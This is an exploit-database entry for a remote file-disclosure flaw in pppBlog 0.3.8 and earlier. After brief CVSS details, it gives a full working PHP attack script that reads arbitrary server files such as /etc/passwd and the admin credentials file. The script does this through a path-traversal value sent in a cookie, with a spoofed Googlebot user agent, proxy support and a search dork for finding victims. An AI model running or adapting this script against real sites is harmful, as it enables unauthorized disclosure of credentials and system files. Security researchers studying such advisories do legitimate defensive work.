pppBlog <= 0.3.8 administrative credentials/system disclosure

2006-06-02 / 2006-06-03
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 5.4/10
Impact Subscore: 6.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

#!/usr/bin/php -q -d short_open_tag=on <? echo "pppBlog <= 0.3.8 system disclosure exploitrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; echo "dork: intext:"Powered by pppblog"rnrn"; /* works with: register_globals=On */ if ($argc<4) { echo "Usage: php ".$argv[0]." host path path_to_file OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to pppblogrn"; echo "path_to_file: a file which you want to see content ofrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwdrn"; echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81rn"; echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80rnrn"; die; } /* software site: http://joerg.jo.funpic.org/pppblog/static.php?page=welcome vulnerable code in randompic.php at lines 66-68: ... header("Content-Type: image/gif"); header("Content-Transfer-Encoding: binary"); readfile("$dir/$files[$randnum]"); ... if randompic.php is called directly, without arguments, $files array is not initialized, so , if register_globals = On, you can see all files on target server, according to open_basedir restrictions, poc: http://[target]/[path]/randompic.php?files[0]=../config/admin.php now at screen you have ppp-blog admin username/password pair, crypted by crypt() php function */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $path_to_file=$argv[3]; if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/')) {die("Check the path, it must begin and end with a trailing slashrn");} $port=80; $proxy=""; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;} $packet ="GET ".$p."randompic.php HTTP/1.0rn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: files[0]=".urlencode($path_to_file)."rn"; //through cookies, log this :) $packet.="Connection: Closernrn"; #debug #echo quick_dump($packet); sendpacketii($packet); echo $html; ?> original url: http://retrogod.altervista.org/pppblog_038_xpl.html

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